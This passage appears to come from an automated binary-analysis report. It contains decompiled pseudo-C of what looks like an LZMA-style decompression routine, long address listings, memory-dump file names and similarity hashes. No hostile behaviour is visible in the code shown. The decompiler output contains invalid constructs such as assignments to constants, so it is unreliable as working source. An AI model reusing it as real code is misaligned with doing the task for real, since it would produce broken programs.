											__edx = _t275;
											__eax =  *(__ebp - 0x68);
											 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
											 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
											_t284 = __ebp - 0x64;
											 *_t284 =  *(__ebp - 0x64) - 1;
											__eflags =  *_t284;
											 *( *(__ebp - 0x68)) = __cl;
											L80:
											 *(__ebp - 0x14) = __edx;
											goto L81;
										case 0x1c:
											while(1) {
												L123:
												__eflags =  *(__ebp - 0x64);
												if( *(__ebp - 0x64) == 0) {
													break;
												}
												L124:
												__eax =  *(__ebp - 0x14);
												__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
												__eflags = __eax -  *(__ebp - 0x74);
												if(__eax >=  *(__ebp - 0x74)) {
													__eax = __eax +  *(__ebp - 0x74);
													__eflags = __eax;
												}
												__edx =  *(__ebp - 8);
												__cl =  *(__eax + __edx);
												__eax =  *(__ebp - 0x14);
												 *(__ebp - 0x5c) = __cl;
												 *(__eax + __edx) = __cl;
												__eax = __eax + 1;
												__edx = 0;
												_t414 = __eax %  *(__ebp - 0x74);
												__eax = __eax /  *(__ebp - 0x74);
												__edx = _t414;
												__eax =  *(__ebp - 0x68);
												 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
												 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
												 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
												__eflags =  *(__ebp - 0x30);
												 *( *(__ebp - 0x68)) = __cl;
												 *(__ebp - 0x14) = _t414;
												if( *(__ebp - 0x30) > 0) {
													continue;
												} else {
													L127:
													L81:
													 *(__ebp - 0x88) = 2;
													goto L1;
												}
											}
											L167:
											 *(__ebp - 0x88) = 0x1c;
											goto L170;
									}
								}
								L171:
								_t539 = _t538 | 0xffffffff;
								goto L172;
							}
						}
					}
				}
			}

0x00406609
0x00406609
0x00406609
0x00406609
0x0040660f
0x00406613
0x00406617
0x00406621
0x0040662f
0x00406905
0x00406905
0x00406908
0x0040690f
0x0040693c
0x0040693c
0x00406940
0x00000000
0x00000000
0x00406942
0x0040694b
0x00406951
0x00406954
0x00406957
0x0040695a
0x0040695d
0x00406963
0x0040697c
0x0040697f
0x0040698b
0x0040698c
0x0040698f
0x00406965
0x00406965
0x00406974
0x00406977
0x00406977
0x00406999
0x00406939
0x00406939
0x00406939
0x0040693c
0x00406940
0x00000000
0x00000000
0x00000000
0x0040699b
0x0040699b
0x00406914
0x00406918
0x00406a50
0x00406a50
0x00406a5a
0x00406a62
0x00406a69
0x00406a6b
0x00406a72
0x00406a76
0x00406a76
0x0040691e
0x00406924
0x0040692b
0x00406933
0x00406933
0x00406936
0x00000000
0x00406936
0x004069a0
0x004069ad
0x004069b0
0x004068bc
0x004068bc
0x004068bc
0x00406058
0x00406058
0x00406058
0x00406061
0x00000000
0x00000000
0x00406067
0x00406067
0x00000000
0x0040606e
0x00406072
0x00000000
0x00000000
0x00406078
0x0040607b
0x0040607e
0x00406081
0x00406085
0x00000000
0x00000000
0x0040608b
0x0040608b
0x0040608e
0x00406090
0x00406091
0x00406094
0x00406096
0x00406097
0x00406099
0x0040609c
0x004060a1
0x004060a6
0x004060af
0x004060c2
0x004060c5
0x004060d1
0x004060f9
0x004060fb
0x00406109
0x00406109
0x0040610d
0x00000000
0x00000000
0x00000000
0x00000000
0x004060fd
0x004060fd
0x00406100
0x00406101
0x00406101
0x00000000
0x004060fd
0x004060d3
0x004060d7
0x004060dc
0x004060dc
0x004060e5
0x004060ed
0x004060f0
0x00000000
0x004060f6
0x004060f6
0x00000000
0x004060f6
0x00000000
0x00406113
0x00406113
0x00406117
0x004069c3
0x004069c3
0x00000000
0x004069c3
0x0040611d
0x00406120
0x00406130
0x00406133
0x00406136
0x00406136
0x00406136
0x00406139
0x0040613d
0x00000000
0x00000000
0x0040613f
0x0040613f
0x00406145
0x0040616f
0x00406175
0x0040617c
0x00000000
0x0040617c
0x00406147
0x0040614b
0x0040614e
0x00406153
0x00406153
0x0040615e
0x00406166
0x00406169
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x004061ae
0x004061b4
0x004061b7
0x004061c4
0x004061cc
0x00000000
0x00000000
0x00406183
0x00406183
0x00406187
0x004069d2
0x004069d2
0x00000000
0x004069d2
0x0040618d
0x00406193
0x0040619e
0x0040619e
0x0040619e
0x004061a1
0x004061a4
0x004061a7
0x004061ac
0x00000000
0x00000000
0x00000000
0x00000000
0x00406843
0x00406843
0x00406849
0x0040684f
0x00406855
0x0040686f
0x00406872
0x00406878
0x00406883
0x00406883
0x00406885
0x00406857
0x00406857
0x00406866
0x0040686a
0x0040686a
0x0040688f
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00406891
0x00406895
0x00406a44
0x00406a44
0x00000000
0x00406a44
0x0040689b
0x004068a1
0x004068a8
0x004068b0
0x004068b3
0x004068b6
0x004068b6
0x004068bc
0x004068bc
0x00000000
0x00000000
0x004061d4
0x004061d4
0x004061d6
0x004061d9
0x0040624a
0x0040624a
0x0040624d
0x00406250
0x00406257
0x00406261
0x00000000
0x00406261
0x004061db
0x004061db
0x004061df
0x004061e2
0x004061e4
0x004061e7
0x004061ea
0x004061ec
0x004061ef
0x004061f1
0x004061f6
0x004061f9
0x004061fc
0x00406200
0x00406207
0x0040620a
0x00406211
0x00406215
0x0040621d
0x0040621d
0x0040621d
0x00406217
0x00406217
0x00406217
0x0040620c
0x0040620c
0x0040620c
0x00406221
0x00406224
0x00406242
0x00406242
0x00406244
0x00000000
0x00406226
0x00406226
0x00406226
0x00406229
0x0040622c
0x0040622f
0x00406231
0x00406231
0x00406231
0x00406234
0x00406237
0x00406239
0x0040623a
0x0040623d
0x00000000
0x0040623d
0x00000000
0x00406473
0x00406473
0x00406477
0x00406495
0x00406495
0x00406498
0x0040649f
0x004064a2
0x004064a5
0x004064a8
0x004064ab
0x004064ae
0x004064b0
0x004064b7
0x004064b8
0x004064ba
0x004064bd
0x004064c0
0x004064c3
0x004064c3
0x004064c8
0x00000000
0x004064c8
0x00406479
0x00406479
0x0040647c
0x0040647f
0x00406489
0x00000000
0x00000000
0x004064dd
0x004064dd
0x004064e1
0x00406504
0x00406507
0x0040650a
0x00406514
0x004064e3
0x004064e3
0x004064e6
0x004064e9
0x004064ec
0x004064f9
0x004064fc
0x004064fc
0x00000000
0x00000000
0x00406520
0x00406520
0x00406524
0x00000000
0x00000000
0x0040652a
0x0040652a
0x0040652e
0x00000000
0x00000000
0x00406534
0x00406534
0x00406536
0x0040653a
0x0040653a
0x0040653d
0x00406541
0x00000000
0x00000000
0x00406591
0x00406591
0x00406595
0x0040659c
0x0040659c
0x0040659f
0x004065a2
0x004065ac
0x00000000
0x004065ac
0x00406597
0x00406597
0x00000000
0x00000000
0x004065b8
0x004065b8
0x004065bc
0x004065c3
0x004065c6
0x004065c9
0x004065be
0x004065be
0x004065be
0x004065cc
0x004065cf
0x004065d2
0x004065d2
0x004065d5
0x004065d8
0x004065db
0x004065db
0x004065de
0x004065e5
0x004065ea
0x00000000
0x00000000
0x00406678
0x00406678
0x0040667c
0x00406a1a
0x00406a1a
0x00000000
0x00406a1a
0x00406682
0x00406682
0x00406685
0x00406688
0x0040668c
0x0040668f
0x00406695
0x00406697
0x00406697
0x00406697
0x0040669a
0x0040669d
0x00000000
0x00000000
0x0040626d
0x0040626d
0x00406271
0x004069de
0x004069de
0x00000000
0x004069de
0x00406277
0x00406277
0x0040627a
0x0040627d
0x00406281
0x00406284
0x0040628a
0x0040628c
0x0040628c
0x0040628c
0x0040628f
0x00406292
0x00406292
0x00406295
0x00406298
0x00000000
0x00000000
0x0040629e
0x0040629e
0x004062a4
0x00000000
0x00000000
0x004062aa
0x004062aa
0x004062ae
0x004062b1
0x004062b4
0x004062b7
0x004062ba
0x004062bb
0x004062be
0x004062c0
0x004062c6
0x004062c9
0x004062cc
0x004062cf
0x004062d2
0x004062d5
0x004062d8
0x004062f4
0x004062f7
0x004062fa
0x004062fd
0x00406304
0x00406308
0x0040630a
0x0040630e
0x004062da
0x004062da
0x004062de
0x004062e6
0x004062eb
0x004062ed
0x004062ef
0x004062ef
0x00406311
0x00406318
0x0040631b
0x00000000
0x00406321
0x00406321
0x00000000
0x00406321
0x00000000
0x00406326
0x00406326
0x0040632a
0x004069ea
0x004069ea
0x00000000
0x004069ea
0x00406330
0x00406330
0x00406333
0x00406336
0x0040633a
0x0040633d
0x00406343
0x00406345
0x00406345
0x00406345
0x00406348
0x0040634b
0x0040634b
0x0040634b
0x00406351
0x00000000
0x00000000
0x00406353
0x00406353
0x00406356
0x00406359
0x0040635c
0x0040635f
0x00406362
0x00406365
0x00406368
0x0040636b
0x0040636e
0x00406371
0x00406389
0x0040638c
0x0040638f
0x00406392
0x00406392
0x00406395
0x00406399
0x0040639b
0x00406373
0x00406373
0x0040637b
0x00406380
0x00406382
0x00406384
0x00406384
0x0040639e
0x004063a5
0x004063a8
0x00000000
0x004063aa
0x004063aa
0x00000000
0x004063aa
0x004063a8
0x004063af
0x004063af
0x004063af
0x004063af
0x00000000
0x00000000
0x004063ea
0x004063ea
0x004063ee
0x004069f6
0x004069f6
0x00000000
0x004069f6
0x004063f4
0x004063f4
0x004063f7
0x004063fa
0x004063fe
0x00406401
0x00406407
0x00406409
0x00406409
0x00406409
0x0040640c
0x0040640f
0x0040640f
0x00406415
0x004063b3
0x004063b3
0x004063b6
0x00000000
0x004063b6
0x00406417
0x00406417
0x0040641a
0x0040641d
0x00406420
0x00406423
0x00406426
0x00406429
0x0040642c
0x0040642f
0x00406432
0x00406435
0x0040644d
0x00406450
0x00406453
0x00406456
0x00406456
0x00406459
0x0040645d
0x0040645f
0x00406437
0x00406437
0x0040643f
0x00406444
0x00406446
0x00406448
0x00406448
0x00406462
0x00406469
0x0040646c
0x00000000
0x0040646e
0x0040646e
0x00000000
0x0040646e
0x00000000
0x004066fb
0x004066fb
0x004066ff
0x00406a26
0x00406a26
0x00000000
0x00406a26
0x00406705
0x00406705
0x00406708
0x0040670b
0x0040670f
0x00406712
0x00406718
0x0040671a
0x0040671a
0x0040671a
0x0040671d
0x00000000
0x00000000
0x004064cb
0x004064cb
0x004064ce
0x00000000
0x00000000
0x0040680a
0x0040680a
0x0040680e
0x00406830
0x00406830
0x00406833
0x0040683d
0x00406840
0x00406840
0x00000000
0x00406840
0x00406810
0x00406810
0x00406813
0x00406817
0x0040681a
0x0040681a
0x0040681d
0x00000000
0x00000000
0x004068c7
0x004068c7
0x004068cb
0x004068e9
0x004068e9
0x004068e9
0x004068e9
0x004068f0
0x004068f7
0x004068fe
0x004068fe
0x00406905
0x00406908
0x0040690f
0x00000000
0x00406912
0x004068cd
0x004068cd
0x004068d0
0x004068d3
0x004068d6
0x004068dd
0x00406821
0x00406821
0x00406824
0x00000000
0x00000000
0x004069b8
0x004069b8
0x004069bb
0x004068bc
0x004068bc
0x004068bc
0x00000000
0x004068c2
0x00000000
0x004065f2
0x004065f2
0x004065f4
0x004065fb
0x004065fc
0x004065fe
0x00406601
0x00000000
0x00000000
0x00000000
0x00000000
0x00406905
0x00406905
0x00406908
0x0040690f
0x00000000
0x00406912
0x00000000
0x00000000
0x00000000
0x00406637
0x00406637
0x0040663a
0x00406670
0x00406670
0x004067a0
0x004067a0
0x004067a0
0x004067a0
0x004067a3
0x004067a3
0x004067a6
0x004067a8
0x00406a32
0x00406a32
0x00000000
0x00406a32
0x004067ae
0x004067ae
0x004067b1
0x00000000
0x00000000
0x004067b7
0x004067b7
0x004067bb
0x004067be
0x004067be
0x004067be
0x00000000
0x004067be
0x0040663c
0x0040663c
0x0040663e
0x00406640
0x00406642
0x00406645
0x00406646
0x00406648
0x0040664a
0x0040664d
0x00406650
0x00406666
0x00406666
0x0040666b
0x004066a3
0x004066a3
0x004066a7
0x004066d0
0x004066d3
0x004066d5
0x004066dc
0x004066df
0x004066e2
0x004066e2
0x004066e7
0x004066e7
0x004066e9
0x004066ec
0x004066f3
0x004066f6
0x00406723
0x00406723
0x00406726
0x00406729
0x0040679d
0x0040679d
0x0040679d
0x0040679d
0x00000000
0x0040679d
0x0040672b
0x0040672b
0x00406731
0x00406734
0x00406737
0x0040673a
0x0040673d
0x00406740
0x00406743
0x00406746
0x00406749
0x0040674c
0x00406765
0x00406767
0x0040676a
0x0040676b
0x0040676e
0x00406770
0x00406773
0x00406775
0x00406777
0x0040677a
0x0040677c
0x0040677f
0x00406783
0x00406785
0x00406785
0x00406786
0x00406789
0x0040678c
0x0040674e
0x0040674e
0x00406756
0x0040675b
0x0040675d
0x00406760
0x00406760
0x0040678f
0x00406796
0x00406720
0x00406720
0x00406720
0x00406720
0x00000000
0x00406798
0x00406798
0x00000000
0x00406798
0x00406796
0x004066a9
0x004066a9
0x004066ac
0x004066ae
0x004066b1
0x004066b4
0x004066b7
0x004066b9
0x004066bc
0x004066bf
0x004066bf
0x004066c2
0x004066c2
0x004066c5
0x004066cc
0x004066a0
0x004066a0
0x004066a0
0x004066a0
0x00000000
0x004066ce
0x004066ce
0x00000000
0x004066ce
0x004066cc
0x00406652
0x00406652
0x00406655
0x00406657
0x0040665a
0x00000000
0x00000000
0x004063b9
0x004063b9
0x004063bd
0x00406a02
0x00406a02
0x00000000
0x00406a02
0x004063c3
0x004063c3
0x004063c6
0x004063c9
0x004063cc
0x004063cf
0x004063d2
0x004063d5
0x004063d7
0x004063da
0x004063dd
0x004063e0
0x004063e2
0x004063e2
0x004063e2
0x00000000
0x00000000
0x00406544
0x00406544
0x00406548
0x00406a0e
0x00406a0e
0x00000000
0x00406a0e
0x0040654e
0x0040654e
0x00406551
0x00406554
0x00406557
0x00406559
0x00406559
0x00406559
0x0040655c
0x0040655f
0x00406562
0x00406565
0x00406568
0x0040656b
0x0040656c
0x0040656e
0x0040656e
0x0040656e
0x00406571
0x00406574
0x00406577
0x0040657a
0x0040657a
0x0040657a
0x0040657d
0x0040657f
0x0040657f
0x00000000
0x00000000
0x004067c1
0x004067c1
0x004067c1
0x004067c5
0x00000000
0x00000000
0x004067cb
0x004067cb
0x004067ce
0x004067d1
0x004067d4
0x004067d6
0x004067d6
0x004067d6
0x004067d9
0x004067dc
0x004067df
0x004067e2
0x004067e5
0x004067e8
0x004067e9
0x004067eb
0x004067eb
0x004067eb
0x004067ee
0x004067f1
0x004067f4
0x004067f7
0x004067fa
0x004067fe
0x00406800
0x00406803
0x00000000
0x00406805
0x00406805
0x00406582
0x00406582
0x00000000
0x00406582
0x00406803
0x00406a38
0x00406a38
0x00000000
0x00000000
0x00406067
0x00406a6f
0x00406a6f
0x00000000
0x00406a6f
0x004068bc
0x0040693c
0x00406905

Memory Dump Source

Source File: 00000000.00000002.644142145.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.644129001.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644169382.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644188351.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644205189.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644212386.000000000042A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644217658.000000000042D000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 00f2de6477f22270801ef5006171c2706c5d9d3ffcda3e5f9c9b7caabde0979f
Instruction ID: 2446724231f05ea51107c8768389afa7e2a62b3a86e3c0cdb9b17195a5c17046
Opcode Fuzzy Hash: 00f2de6477f22270801ef5006171c2706c5d9d3ffcda3e5f9c9b7caabde0979f
Instruction Fuzzy Hash: E9A14F71E00228CFDB28CFA8C8547ADBBB1FB45305F21816AD956BB281D7785A96CF44

Uniqueness

Uniqueness Score: -1.00%

Function 0040680A, Relevance: 5.2, APIs: 4, Instructions: 208
COMMON

Download Yara Rule

C-Code - Quality: 98%

			E0040680A() {
				void _t533;
				signed int _t534;
				signed int _t535;
				signed int* _t605;
				void* _t612;

				L0:
				while(1) {
					L0:
					if( *(_t612 - 0x40) != 0) {
						 *(_t612 - 0x84) = 0x13;
						_t605 =  *((intOrPtr*)(_t612 - 0x58)) + 2;
						goto L132;
					} else {
						__eax =  *(__ebp - 0x4c);
						 *(__ebp - 0x30) =  *(__ebp - 0x30) & 0x00000000;
						__ecx =  *(__ebp - 0x58);
						__eax =  *(__ebp - 0x4c) << 4;
						__eax =  *(__ebp - 0x58) + __eax + 4;
						L130:
						 *(__ebp - 0x58) = __eax;
						 *(__ebp - 0x40) = 3;
						L144:
						 *(__ebp - 0x7c) = 0x14;
						L145:
						__eax =  *(__ebp - 0x40);
						 *(__ebp - 0x50) = 1;
						 *(__ebp - 0x48) =  *(__ebp - 0x40);
						L149:
						if( *(__ebp - 0x48) <= 0) {
							__ecx =  *(__ebp - 0x40);
							__ebx =  *(__ebp - 0x50);
							0 = 1;
							__eax = 1 << __cl;
							__ebx =  *(__ebp - 0x50) - (1 << __cl);
							__eax =  *(__ebp - 0x7c);
							 *(__ebp - 0x44) = __ebx;
							while(1) {
								L140:
								 *(_t612 - 0x88) = _t533;
								while(1) {
									L1:
									_t534 =  *(_t612 - 0x88);
									if(_t534 > 0x1c) {
										break;
									}
									switch( *((intOrPtr*)(_t534 * 4 +  &M00406A77))) {
										case 0:
											if( *(_t612 - 0x6c) == 0) {
												goto L170;
											}
											 *(_t612 - 0x6c) =  *(_t612 - 0x6c) - 1;
											 *(_t612 - 0x70) =  &(( *(_t612 - 0x70))[1]);
											_t534 =  *( *(_t612 - 0x70));
											if(_t534 > 0xe1) {
												goto L171;
											}
											_t538 = _t534 & 0x000000ff;
											_push(0x2d);
											asm("cdq");
											_pop(_t569);
											_push(9);
											_pop(_t570);
											_t608 = _t538 / _t569;
											_t540 = _t538 % _t569 & 0x000000ff;
											asm("cdq");
											_t603 = _t540 % _t570 & 0x000000ff;
											 *(_t612 - 0x3c) = _t603;
											 *(_t612 - 0x1c) = (1 << _t608) - 1;
											 *((intOrPtr*)(_t612 - 0x18)) = (1 << _t540 / _t570) - 1;
											_t611 = (0x300 << _t603 + _t608) + 0x736;
											if(0x600 ==  *((intOrPtr*)(_t612 - 0x78))) {
												L10:
												if(_t611 == 0) {
													L12:
													 *(_t612 - 0x48) =  *(_t612 - 0x48) & 0x00000000;
													 *(_t612 - 0x40) =  *(_t612 - 0x40) & 0x00000000;
													goto L15;
												} else {
													goto L11;
												}
												do {
													L11:
													_t611 = _t611 - 1;
													 *((short*)( *(_t612 - 4) + _t611 * 2)) = 0x400;
												} while (_t611 != 0);
												goto L12;
											}
											if( *(_t612 - 4) != 0) {
												GlobalFree( *(_t612 - 4));
											}
											_t534 = GlobalAlloc(0x40, 0x600); // executed
											 *(_t612 - 4) = _t534;
											if(_t534 == 0) {
												goto L171;
											} else {
												 *((intOrPtr*)(_t612 - 0x78)) = 0x600;
												goto L10;
											}
										case 1:
											L13:
											__eflags =  *(_t612 - 0x6c);
											if( *(_t612 - 0x6c) == 0) {
												 *(_t612 - 0x88) = 1;
												goto L170;
											}
											 *(_t612 - 0x6c) =  *(_t612 - 0x6c) - 1;
											 *(_t612 - 0x40) =  *(_t612 - 0x40) | ( *( *(_t612 - 0x70)) & 0x000000ff) <<  *(_t612 - 0x48) << 0x00000003;
											 *(_t612 - 0x70) =  &(( *(_t612 - 0x70))[1]);
											_t45 = _t612 - 0x48;
											 *_t45 =  *(_t612 - 0x48) + 1;
											__eflags =  *_t45;
											L15:
											if( *(_t612 - 0x48) < 4) {
												goto L13;
											}
											_t546 =  *(_t612 - 0x40);
											if(_t546 ==  *(_t612 - 0x74)) {
												L20:
												 *(_t612 - 0x48) = 5;
												 *( *(_t612 - 8) +  *(_t612 - 0x74) - 1) =  *( *(_t612 - 8) +  *(_t612 - 0x74) - 1) & 0x00000000;
												goto L23;
											}
											 *(_t612 - 0x74) = _t546;
											if( *(_t612 - 8) != 0) {
												GlobalFree( *(_t612 - 8)); // executed
											}
											_t534 = GlobalAlloc(0x40,  *(_t612 - 0x40)); // executed
											 *(_t612 - 8) = _t534;
											if(_t534 == 0) {
												goto L171;
											} else {
												goto L20;
											}
										case 2:
											L24:
											_t553 =  *(_t612 - 0x60) &  *(_t612 - 0x1c);
											 *(_t612 - 0x84) = 6;
											 *(_t612 - 0x4c) = _t553;
											_t605 =  *(_t612 - 4) + (( *(_t612 - 0x38) << 4) + _t553) * 2;
											goto L132;
										case 3:
											L21:
											__eflags =  *(_t612 - 0x6c);
											if( *(_t612 - 0x6c) == 0) {
												 *(_t612 - 0x88) = 3;
												goto L170;
											}
											 *(_t612 - 0x6c) =  *(_t612 - 0x6c) - 1;
											_t67 = _t612 - 0x70;
											 *_t67 =  &(( *(_t612 - 0x70))[1]);
											__eflags =  *_t67;
											 *(_t612 - 0xc) =  *(_t612 - 0xc) << 0x00000008 |  *( *(_t612 - 0x70)) & 0x000000ff;
											L23:
											 *(_t612 - 0x48) =  *(_t612 - 0x48) - 1;
											if( *(_t612 - 0x48) != 0) {
												goto L21;
											}
											goto L24;
										case 4:
											L133:
											_t531 =  *_t605;
											_t588 = _t531 & 0x0000ffff;
											_t564 = ( *(_t612 - 0x10) >> 0xb) * _t588;
											if( *(_t612 - 0xc) >= _t564) {
												 *(_t612 - 0x10) =  *(_t612 - 0x10) - _t564;
												 *(_t612 - 0xc) =  *(_t612 - 0xc) - _t564;
												 *(_t612 - 0x40) = 1;
												_t532 = _t531 - (_t531 >> 5);
												__eflags = _t532;
												 *_t605 = _t532;
											} else {
												 *(_t612 - 0x10) = _t564;
												 *(_t612 - 0x40) =  *(_t612 - 0x40) & 0x00000000;
												 *_t605 = (0x800 - _t588 >> 5) + _t531;
											}
											if( *(_t612 - 0x10) >= 0x1000000) {
												goto L139;
											} else {
												goto L137;
											}
										case 5:
											L137:
											if( *(_t612 - 0x6c) == 0) {
												 *(_t612 - 0x88) = 5;
												goto L170;
											}
											 *(_t612 - 0x10) =  *(_t612 - 0x10) << 8;
											 *(_t612 - 0x6c) =  *(_t612 - 0x6c) - 1;
											 *(_t612 - 0x70) =  &(( *(_t612 - 0x70))[1]);
											 *(_t612 - 0xc) =  *(_t612 - 0xc) << 0x00000008 |  *( *(_t612 - 0x70)) & 0x000000ff;
											L139:
											_t533 =  *(_t612 - 0x84);
											goto L140;
										case 6:
											__edx = 0;
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												__eax =  *(__ebp - 4);
												__ecx =  *(__ebp - 0x38);
												 *(__ebp - 0x34) = 1;
												 *(__ebp - 0x84) = 7;
												__esi =  *(__ebp - 4) + 0x180 +  *(__ebp - 0x38) * 2;
												goto L132;
											}
											__eax =  *(__ebp - 0x5c) & 0x000000ff;
											__esi =  *(__ebp - 0x60);
											__cl = 8;
											__cl = 8 -  *(__ebp - 0x3c);
											__esi =  *(__ebp - 0x60) &  *(__ebp - 0x18);
											__eax = ( *(__ebp - 0x5c) & 0x000000ff) >> 8;
											__ecx =  *(__ebp - 0x3c);
											__esi = ( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8;
											__ecx =  *(__ebp - 4);
											(( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2;
											__eax = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9;
											__eflags =  *(__ebp - 0x38) - 4;
											__eax = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
											 *(__ebp - 0x58) = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
											if( *(__ebp - 0x38) >= 4) {
												__eflags =  *(__ebp - 0x38) - 0xa;
												if( *(__ebp - 0x38) >= 0xa) {
													_t98 = __ebp - 0x38;
													 *_t98 =  *(__ebp - 0x38) - 6;
													__eflags =  *_t98;
												} else {
													 *(__ebp - 0x38) =  *(__ebp - 0x38) - 3;
												}
											} else {
												 *(__ebp - 0x38) = 0;
											}
											__eflags =  *(__ebp - 0x34) - __edx;
											if( *(__ebp - 0x34) == __edx) {
												__ebx = 0;
												__ebx = 1;
												goto L61;
											} else {
												__eax =  *(__ebp - 0x14);
												__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
												__eflags = __eax -  *(__ebp - 0x74);
												if(__eax >=  *(__ebp - 0x74)) {
													__eax = __eax +  *(__ebp - 0x74);
													__eflags = __eax;
												}
												__ecx =  *(__ebp - 8);
												__ebx = 0;
												__ebx = 1;
												__al =  *((intOrPtr*)(__eax + __ecx));
												 *(__ebp - 0x5b) =  *((intOrPtr*)(__eax + __ecx));
												goto L41;
											}
										case 7:
											__eflags =  *(__ebp - 0x40) - 1;
											if( *(__ebp - 0x40) != 1) {
												__eax =  *(__ebp - 0x24);
												 *(__ebp - 0x80) = 0x16;
												 *(__ebp - 0x20) =  *(__ebp - 0x24);
												__eax =  *(__ebp - 0x28);
												 *(__ebp - 0x24) =  *(__ebp - 0x28);
												__eax =  *(__ebp - 0x2c);
												 *(__ebp - 0x28) =  *(__ebp - 0x2c);
												__eax = 0;
												__eflags =  *(__ebp - 0x38) - 7;
												0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
												__al = __al & 0x000000fd;
												__eax = (__eflags >= 0) - 1 + 0xa;
												 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xa;
												__eax =  *(__ebp - 4);
												__eax =  *(__ebp - 4) + 0x664;
												__eflags = __eax;
												 *(__ebp - 0x58) = __eax;
												goto L69;
											}
											__eax =  *(__ebp - 4);
											__ecx =  *(__ebp - 0x38);
											 *(__ebp - 0x84) = 8;
											__esi =  *(__ebp - 4) + 0x198 +  *(__ebp - 0x38) * 2;
											goto L132;
										case 8:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												__eax =  *(__ebp - 4);
												__ecx =  *(__ebp - 0x38);
												 *(__ebp - 0x84) = 0xa;
												__esi =  *(__ebp - 4) + 0x1b0 +  *(__ebp - 0x38) * 2;
											} else {
												__eax =  *(__ebp - 0x38);
												__ecx =  *(__ebp - 4);
												__eax =  *(__ebp - 0x38) + 0xf;
												 *(__ebp - 0x84) = 9;
												 *(__ebp - 0x38) + 0xf << 4 = ( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c);
												__esi =  *(__ebp - 4) + (( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c)) * 2;
											}
											goto L132;
										case 9:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												goto L90;
											}
											__eflags =  *(__ebp - 0x60);
											if( *(__ebp - 0x60) == 0) {
												goto L171;
											}
											__eax = 0;
											__eflags =  *(__ebp - 0x38) - 7;
											_t259 =  *(__ebp - 0x38) - 7 >= 0;
											__eflags = _t259;
											0 | _t259 = _t259 + _t259 + 9;
											 *(__ebp - 0x38) = _t259 + _t259 + 9;
											goto L76;
										case 0xa:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												__eax =  *(__ebp - 4);
												__ecx =  *(__ebp - 0x38);
												 *(__ebp - 0x84) = 0xb;
												__esi =  *(__ebp - 4) + 0x1c8 +  *(__ebp - 0x38) * 2;
												goto L132;
											}
											__eax =  *(__ebp - 0x28);
											goto L89;
										case 0xb:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												__ecx =  *(__ebp - 0x24);
												__eax =  *(__ebp - 0x20);
												 *(__ebp - 0x20) =  *(__ebp - 0x24);
											} else {
												__eax =  *(__ebp - 0x24);
											}
											__ecx =  *(__ebp - 0x28);
											 *(__ebp - 0x24) =  *(__ebp - 0x28);
											L89:
											__ecx =  *(__ebp - 0x2c);
											 *(__ebp - 0x2c) = __eax;
											 *(__ebp - 0x28) =  *(__ebp - 0x2c);
											L90:
											__eax =  *(__ebp - 4);
											 *(__ebp - 0x80) = 0x15;
											__eax =  *(__ebp - 4) + 0xa68;
											 *(__ebp - 0x58) =  *(__ebp - 4) + 0xa68;
											goto L69;
										case 0xc:
											L100:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												 *(__ebp - 0x88) = 0xc;
												goto L170;
											}
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t335 = __ebp - 0x70;
											 *_t335 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t335;
